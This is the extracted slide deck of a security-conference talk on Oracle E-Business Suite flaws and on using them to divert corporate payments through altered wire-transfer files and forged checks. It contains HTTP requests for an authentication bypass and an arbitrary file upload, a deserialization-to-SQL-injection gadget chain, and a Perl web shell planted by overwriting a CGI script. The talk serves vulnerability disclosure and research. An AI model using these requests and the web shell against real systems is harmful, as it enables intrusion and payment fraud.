PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard & Gaston Traberg
Security Researchers, Onapsis Research Labs
About Presenters

● Background
  ○ Penetration Testing
  ○ Vulnerability Research

● Reported vulnerabilities in diverse Oracle and SAP products and components

● Authors/contributors to diverse blog posts and online publications

● Speakers and trainers at various Information Security conferences

● https://www.onapsis.com

PayDay: Jackpotting Fortune-500 treasuries
Agenda

- ERP systems and Financial applications
- TCF Vulnerability
- Wire Transfer attack
- EBS Payments Vulnerability
- Check printing attack
- Conclusions
Motivation

Looking for profit?

PayDay: Jackpotting Fortune-500 treasuries

- Banks
- Jewellerys
- Governments
- Casinos
ERP Systems

What is an Enterprise Resource Planning system?

- Business management software
  - Enterprises
  - Organizations and Governments

- Planning and administration

- Resource Management
  - Raw Materials
  - Production Capacity and Employees
  - Information
  - $ CASH!

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
ERP Financial Modules

- Payrolls
  - Employees payments and sensible information

- Purchase Orders
  - Suppliers and Vendors
  - Manage payment orders
  - Manage payment transactions (accounting)

- Payables
  - Bank Accounts and actual payments
  - Wire Transfers
  - Check generation
Expectation

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
Reality

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
ERP as a Target

- Many systems are accessible through the internet
- Due to miss configuration or functional requirements (suppliers, e-commerce)
- More than 9000 patched vulnerabilities in SAP and Oracle EBS
- Almost 3000 vulnerabilities with “High” severity according to the CVSS.
ERP Post Exploitation

- Financial applications? I wanted profit!

- Attackers fail to understand the potential of the target

- Exploit non-critical resources for economic revenue
  - Mining cryptocurrency
  - Ransomware
  - BotNet
  - Extortion

PayDay: Jackpotting Fortune-500 treasuries
ERP Post Exploitation

- Financial applications can be used to obtain big profit...
- Explain how?
  - Combine the technical knowledge of an attacker with the experience of an ERP user
  - Gain access to the application server and the database
  - Modify data and control processes to obtain fast and untraceable profit: $$$

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
Oracle E-Business Suite

PayDay: Jackpotting Fortune-500 treasuries
Oracle EBS

- Oracle’s main ERP software
- WebLogic Server
- Oracle Database
- CPU (Critical Patch Update)
Thin Client Framework

PayDay: Jackpotting Fortune-500 treasuries
TCF
Thin Client Framework

● Interfaces and Methods for EBS developers

● Twin Classes in Client and Server

Class TCFClientObject implements Proxy{
   ....
   public Item readSync(Item) {} } 

Class TCFServerObject implements Proxy{
   ....
   public Item readSync(Item args) {
      return new Item("hello HITB")
   }
}

● TCF communication protocol over HTTP with TCF Servlet

PayDay: Jackpotting Fortune-500 treasuries
TCF Dispatcher

- Stores information such as **DB config** and other Objects

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
• Response include a Java JSESSIONID Cookie used in following requests.
TCF

The Proxy Interface

• Java Interfaces. Implemented by classes at Client and Server

• Methods for initializing and processing
  o getPeerType -> Returns the Name of the tween Class
  o readItem -> Parses an Item (or list of items) with initialization information.
  o readSynch -> Parses an Item (or list of items) for processing.
PayDay: Jackpotting Fortune-500 treasuries

Martin Doyhenard, Gaston Traberg
TCF Vulnerability

PayDay: Jackpotting Fortune-500 treasuries
TCF Vulnerability

Authentication Bypass

```
POST /OA_HTML/AppsTCFServer HTTP/1.1
Host: host:port
TCFStart: MySession123
Content-Length: 15
Cookie:

TCF/SPv1v1v
```

```
HTTP/1.1 200 OK
Date: Tue, 17 Sep 2019 15:04:06 GMT
Server: Content-Length: 69
X-ORACLE-DM-S-ECID: 005"g48AzlLPFCYzLoj0BA000E0M000PtT
Set-Cookie: JSESSIONID=O NY\_wI5oe4rTrjHPBw_0zggIVSuZnHp0acfqpPoYUByLbMMS80dt!-1205865637; path=/
Set-Cookie: EBS1228=WzseFO7uTjlPlAIgELXztZ3310; path=/
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/plain
Content-Language: en

AX:TCF Session start attempted without authentication information.
```

Martin Doyhenard, Gaston Traberg

PayDay: Jackpotting Fortune-500 treasuries
```
private String getConnectionKey(String paramString) {
    if ((paramString == null) || (paramString.equals("")) ) return "TCFConn:";
    return "TCFConn:" + paramString;
}
```

T CF Vulnerability

Handshake pseudocode

```java
jsessionID = request.getSession(true);

// Map Storage

T CFStart

// NULL

tcf_sid = request.getHeader("T CFStart");

tcf_key = getConnectionKey(tcf_sid);

readHandshake(request);

Map Storage

```

/*
dele te session and set auth error response
*/

PayDay: Jackpotting Fortune-500 treasuries
TCF Vulnerability

Authentication Bypass

- **TCFStart** = null --> Java Exception... But **TCFSession = ""** is created

PayDay: Jackpotting Fortune-500 treasuries
Vulnerable Proxy Implementations

• We are able to instantiate and execute any class implementing Proxy

• Look for classes performing interesting actions in readItem and readSynch
  o Command Execution
  o Database manipulation
  o Files manipulation

• Many interesting class... but lets focus on wip.tcf.server.ServerPostmaster
TCF Vulnerability

ServerPostmaster

- Implements Proxy and readSynch
- One of the few classes that receives and operates with bytes array
  - Receives Byte array as an Item
  - Decode and parse Bytes into a object input stream
  - ReadObject of Input stream into a Message Class

```
this.inflater = new Inflater(b True);
this.ois = new ObjectInputstream(new BufferedInputstream(new InflaterInputstream(new ByteArrayInputstream(paramArrayofByte), this.inflater)));
localMessage = (Message)this.ois.readObject();
```

User input deserialized... Good Idea!

Martin Doyhenard, Gaston Traberg

PayDay: Jackpotting Fortune-500 treasuries
TCF Vulnerability

Gadget - unZip to Object

Byte Array → UnZip() → Input Stream → readObject() → Object

Message.routeMessage()
Message.readObject()
ios.readObject()
ServerPostmaster.UnZip()

PayDay: Jackpotting Fortune-500 treasuries
TCF Vulnerability

Gadget - Postmaster Messages

- Execute Service method depending on ServiceID

Message
+ ServiceID -> OpCode
+ Body -> Request

Request
+ ServiceName

Service
- Method_1()
- Method_2()
- Method_N()
TCF Vulnerability

Gadget - SingleResponseService.Respond()

- If DisplayLanguage is controlled, SQL injection!
- Respond() receives a serverPostmaster SessionContext previously initialized
TCF Vulnerability

Gadget - FndMessageRequest

```
Request
FndMessageRequest
FndMessageService

Class.forName("FndMessageService").newInstance()
FndMessageRequest.getServiceClassName()
Request.readObject()
Message.routeMessage()
Message.readObject()
ios.readObject()
ServerPostmaster.UnZip()
```

PayDay: Jackpotting Fortune-500 treasuries

Martin Doyhenard, Gaston Traberg
TCF Vulnerability

Gadget - FndMessageService

```
SingleResponseService.Respond()
FndMessageService.Execute()
Class.forName("FndMessageService").newInstance()
FndMessageRequest.getServiceClassName()
Request.readObject()
Message.routeMessage()
Message.readObject()
ios.readObject()
ServerPostmaster.UnZip()
```

● ServiceID = 10

PayDay: Jackpotting Fortune-500 treasuries
TCF Vulnerability

Gadget - SQL Execution

Statement.execute("sql_statement"+SessionConfigurator.getDisplayLanguage())
  SingleResponseService.Respond()
  FndMessageService.Execute()
    Class.forName("FndMessageService").newInstance()
      FndMessageRequest.getServiceClassName()
        Request.readObject()
          Message.routeMessage()
            Message.readObject()
              ios.readObject()
                ServerPostmaster.UnZip()
TCF Vulnerability

Gadget - ContextBootstrapService

• Session Context initialization and configuration

```java
Class.forName("ContextBootstrapService").newInstance()
ContextBootstrapRequest.getServiceClassName()
Request.readObject()
    Message.routeMessage()
        Message.readObject()
    ios.readObject()
ServerPostmaster.UnZip()
```
TCF Vulnerability

Gadget - SessionConfigurator

ContextBootstrapService.createSession()
Class.forName("ContextBootstrapService").newInstance()
ContextBootstrapRequest.getServiceClassName()
Request.readObject()
Message.routeMessage()
Message.readObject()
ios.readObject()
ServerPostmaster.UnZip()

SessionConfigurator
+ DisplayLang

PayDay: Jackpotting Fortune-500 treasuries

Martin Doyhenard, Gaston Traberg
TCF Vulnerability

Gadget - SQL Statement Injection

DisplayLang = String("SQL_INJECTION")
Session.setDisplayLanguage(SessionConfigurator.getDisplayLanguage)
ContextBootstrapService.createSession(SessionConfigurator)
Class.forName("ContextBootstrapService").newInstance()
ContextBootstrapRequest.getServiceClassName()
Request.readObject()
Message.routeMessage()
Message.readObject()
ios.readObject()
ServerPostmaster.UnZip()
TCF Vulnerability
Second order SQL Injection

ContextBootstrapService \(\xrightarrow{createSession()}\) SessionConfigurator

\(\xrightarrow{Respond()}\) FndMessageService

\(\xrightarrow{\text{Execute SQLi}}\)

Arbitrary SQL Injection

"DECLARE PRAGMA AUTONOMOUS_TRANSACTION ..."

PayDay: Jackpotting Fortune-500 treasuries

Martin Doyhenard, Gaston Traberg
ERP Payments

PayDay: Jackpotting Fortune-500 treasuries
ERP Payments

What now?

Phase 1: Hack EBS
Phase 2: Profit
Phase 3: ?

Martín Doyhenard, Gaston Traberg

PayDay: Jackpotting Fortune-500 treasuries
ERP Payments

- CRUD operations on Vendors, Invoices and Payment orders
- Stores Financial information
- Payment workflow:
  - Create Supplier
  - Create Invoice for a Supplier
  - Create Payment order for the Invoice
  - Create payment document and actually move money...
E-Business Suit Payments

PayDay: Jackpotting Fortune-500 treasuries

Payment Day

Client → Payment close request → EBS Server → EFT File

Payment File is generated with DB data

EFT File → Payments Transmission Protocol → Bank

EFT File

Payment File

EBS Server

Client

Bank

EFT File

Payment File is generated with DB data

EBS Server

EFT File

Payments Transmission Protocol

Bank

Edgar Martin, Gaston Traberg

PayDay: Jackpotting Fortune-500 treasuries
E-Business Suit Payments

Wire Transfer Bank File

Payment Amount

Bank Name

Bank Account Number

Branch Number

PayDay: Jackpotting Fortune-500 treasuries
Wire Transfer Attack
Wire Transfer Attack

What now?

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
Wire Transfer Attack

PayDay: Jackpotting Fortune-500 treasuries

Martin Doyhenard, Gaston Traberg
Wire Transfer Attack

DEMO
RCE in E-Business Suite Payment module
E-Business Suite Payment module

What is It?

- Payments module (IBY) is an EBS solution designed to facilitate the management of suppliers and customers payments.
- It supports many tunneling protocols for payment files, payment messages, and transmission results:
  - HTTP/s
  - FTP
  - AS/2

PayDay: Jackpotting Fortune-500 treasuries

Martin Doyhenard, Gaston Traberg
E-Business Suite Payment module

How does Payments method access works?

It works like a pseudo-SOAP implementation with some differences:

- POST request to /ibytransmit
- Header `OapfDelEnvLen` contains body len for XML payload
- All remaining bytes (those between `OapfDelEnvLen` and `Content-Length`) contains the file Payload.

```plaintext
POST /OA_HTML/ibytransmit HTTP/1.0

OapfDelEnvLen: N
Content-Length: N + M

<?xml version="1.0">
<DeliveryRequest>
  ...
  <DeliveryAction>
    ...
  </DeliveryAction>
</DeliveryRequest>

use CGI;
print "\r\n\n";
...
E-Business Suite Payment module

How does Payments method access works?

Let's take a look into the body's XML structure

```xml
<DeliveryAction>
  <TransmissionOption>
    <Scheme/>
    <CodePoint>
      <CodePackage>com.full.package.name.of.ClassToUse</CodePackage>
      <EntryPoint>methodToExecute</EntryPoint>
    </CodePoint>
    <Parameter>
      <Name>PARAM_NAME</Name>
      <Value>PARAM_VALUE</Value>
    </Parameter>
    ...
  </TransmissionOption>
  <PayloadInfo>
    <PayloadUniqueName>{random}</PayloadUniqueName>
  </PayloadInfo>
</DeliveryAction>
```
E-Business Suite Payment module

How does Payments method access works?

This XML is translated on server side to something like this

```java
com.full.package.name.of.ClassToUse.methodToExecute(
    final Dictionary dictionary,
    final InputStream inputStream
)
```

where dictionary contains all values we pass as parameters and inputStream contains remaining payload bytes (All bytes after OapfDelEnvLen offset)
Arbitrary File Upload
The Vulnerable Payments method

- **Class**: oracle.apps.iby.net.FileDumpFunction
- **Method**: transmit(Dictionary `dictionary`, InputStream `inputStream`)
- **Parameters**:
  - `FILE_DIR`: Absolute directory to work over in the server
  - `FILE_NAME`: Filename of the file we are uploading
  - `TRANSMIT_REF`: Path where we want to upload the file (relative to `FILE_DIR`)

This function will write all content we sent, into the absolute path composed by `FILE_DIR + TRANSMIT_REF + FILE_NAME`. 

PayDay: Jackpotting Fortune-500 treasuries
Arbitrary File Upload

The Vulnerable Payments method

- **Class**: oracle.apps.iby.net.FileDumpFunction
- **Method**: transmit
- **Parameters**:
  - FILE_DIR: "/"
  - FILE_NAME: ""
  - TRANSMIT_REF: "u01/oracle/.../common/scripts/txkFNDWRR.pl"

All this mean we can write files anywhere in EBS, not even requiring to use a Path Traversal :)

PayDay: Jackpotting Fortune-500 treasuries
Arbitrary File Upload

From the Arbitrary File Upload to a Remote Command Execution

So, we are able to write files in EBS. How can we use it to execute commands?

- **Create a new web server file containing a Web Shell**
  - Available resources are whitelisted in EBS

- **Overwrite an existing one**
  - We chose `/OA_HTML/txkFNDWRR.pl`, a PERL CGI, so I put my archeologist costume and I started coding.
Uploading CGI Perl Script

POST /OA_HTML/ibytransmit HTTP/1.0
OapfDelEnvLen: N
Content-Lenght: N + M

<?xml version="1.0">
...
"/u01/.../txkFNDWRR.pl" ...
...

use CGI;
paint "\r\n"
my $q = CGI->new;
my $cmd = $q->param("cmd");
print system($cmd);

With the web shell written, we are ready to start executing commands...

For practical purposes, we are going to upload and run another script to continue our attack (a python one ...)

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
IBY File Upload and RCE

DEMO
Checks Printing Attack
E-Business Suite checks

How EBS checks are printed?

1. Checks Files are generated with DB data.
2. Checks Files are sent to a remote printer.

PayDay: Jackpotting Fortune-500 treasuries
E-Business Suite checks

What we need to print valid checks?

There are some information we have to take from EBS to print a valid check

- Check Layout or Template
  - We could download a already completed check and modify It with our information
  - It's common EBS has a RTF file containing checks templates.

- Print Queue
  - We need to know where to send the check file to be printed.
E-Business Suite Payments module

Check File Example

PayDay: Jackpotting Fortune-500 treasuries
E-Business Suite Payments module

PayDay: Jackpotting Fortune-500 treasuries

Martín Doyhenard, Gaston Traberg
Checks Printing Demo
Conclusions
ERPs Post Exploitation

Conclusions

- Companies fully trust in their ERPs
- When critical software is compromised, functional controls are useless
- Old software with “new” vulnerabilities... Deserialization everywhere
- If Hackers improve their post exploitation, the end is near...
Thank You!

HITBLO CKDOWN 002
livestream

Martín Doyhenard (mdoyhenard@onapsis.com), Gaston Traberg (gtraberg@onapsis.com)